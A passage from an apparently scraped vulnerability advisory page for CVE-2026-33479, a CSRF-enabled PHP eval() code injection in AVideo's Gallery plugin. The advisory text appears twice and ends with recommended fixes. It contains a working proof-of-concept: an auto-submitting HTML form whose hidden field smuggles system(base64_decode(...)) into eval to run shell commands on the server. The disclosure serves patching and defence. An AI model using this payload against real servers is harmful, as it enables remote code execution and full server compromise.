\n\n\n```\n\nThe base64 decodes to `id;hostname`.\n\n**Step 2:** Lure an authenticated AVideo admin to visit the page.\n\n**Step 3:** The eval on line 24 executes:\n```php\n$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;\n```\n\nThis breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.\n\n**Expected result:** The `id` and `hostname` commands execute on the server under the web server's user context.\n\n## Impact\n\n- **Remote Code Execution** — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.\n- **Full server compromise** — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.\n- **Stealth** — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.\n- **Blast radius** — Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable.\n\n## Recommended Fix\n\n**Primary fix — Replace `eval()` with an allowlist check:**\n\nIn `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26:\n\n```php\nif(!empty($_REQUEST['sections'])){\n $object = $gallery->getDataObject();\n $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', \n 'Subscribe', 'Popular', 'LiveStream', 'Category', \n 'Program', 'Channel'];\n foreach ($_REQUEST['sections'] as $key => $value) {\n if (!in_array($value, $allowedSections, true)) {\n continue;\n }\n $obj->sectionsSaved[] = array($key => $value);\n $property = $value . 'Order';\n $object->$property = intval($key);\n }\n $obj->error = !$gallery->setDataObject($object);\n}\n```\n\nThis eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object->$property`) instead of code generation.\n\n**Secondary fix — Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`:\n\n```php\nini_set('session.cookie_samesite', 'Lax');\n```\n\nThis prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.","inLanguage":"zh-TW","url":"https://vulnscope.dev/zh/cve/CVE-2026-33479","author":{"@type":"Organization","name":"VulnScope","url":"https://vulnscope.dev"},"publisher":{"@type":"Organization","name":"VulnScope","url":"https://vulnscope.dev"},"about":{"@type":"Thing","name":"CVE-2026-33479","identifier":"CVE-2026-33479","additionalProperty":[{"@type":"PropertyValue","name":"CVSS","value":8.8},{"@type":"PropertyValue","name":"EPSS","value":0.00531},{"@type":"PropertyValue","name":"KEV","value":false}]}}

CVE-2026-33479

AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin

8.8

HIGH

CVSS 3.1

EPSS 0.53%

描述

## Summary The Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. ## Details **Vulnerable code** — `plugin/Gallery/view/saveSort.json.php:20-25`: ```php if(!empty($_REQUEST['sections'])){ $object = $gallery->getDataObject(); foreach ($_REQUEST['sections'] as $key => $value) { $obj->sectionsSaved[] = array($key=>$value); eval("\$object->{$value}Order = \$key;"); } $obj->error = !$gallery->setDataObject($object); } ``` The `$value` variable from `$_REQUEST['sections']` is interpolated directly into the string passed to `eval()` with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `'Shorts'`, `'Trending'`, etc. from jQuery UI sortable, but the server enforces no such constraint. **CSRF enablement** — `objects/include_config.php:134-137`: ```php if ($isHTTPS) { ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` The session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`. **No CSRF protection** — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo's bootstrap chain. **Exploit chain:** 1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php` 2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message) 3. The browser sends the cross-site POST request **with the admin's session cookie** attached (due to `SameSite=None`) 4. `User::isAdmin()` passes because the admin's session is present 5. The injected PHP code in the `sections` array value is passed to `eval()` and executes ## PoC **Step 1:** Host the following HTML on an attacker-controlled server: ```html <!DOCTYPE html> <html> <body> <form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST"> <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//"> </form> <script>document.getElementById('exploit').submit();</script> </body> </html> ``` The base64 decodes to `id;hostname`. **Step 2:** Lure an authenticated AVideo admin to visit the page. **Step 3:** The eval on line 24 executes: ```php $object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0; ``` This breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side. **Expected result:** The `id` and `hostname` commands execute on the server under the web server's user context. ## Impact - **Remote Code Execution** — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required. - **Full server compromise** — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data. - **Stealth** — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual. - **Blast radius** — Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable. ## Recommended Fix **Primary fix — Replace `eval()` with an allowlist check:** In `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26: ```php if(!empty($_REQUEST['sections'])){ $object = $gallery->getDataObject(); $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', 'Subscribe', 'Popular', 'LiveStream', 'Category', 'Program', 'Channel']; foreach ($_REQUEST['sections'] as $key => $value) { if (!in_array($value, $allowedSections, true)) { continue; } $obj->sectionsSaved[] = array($key => $value); $property = $value . 'Order'; $object->$property = intval($key); } $obj->error = !$gallery->setDataObject($object); } ``` This eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object->$property`) instead of code generation. **Secondary fix — Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`: ```php ini_set('session.cookie_samesite', 'Lax'); ``` This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.

CVE-2026-33479

描述

如何修補 CVE-2026-33479

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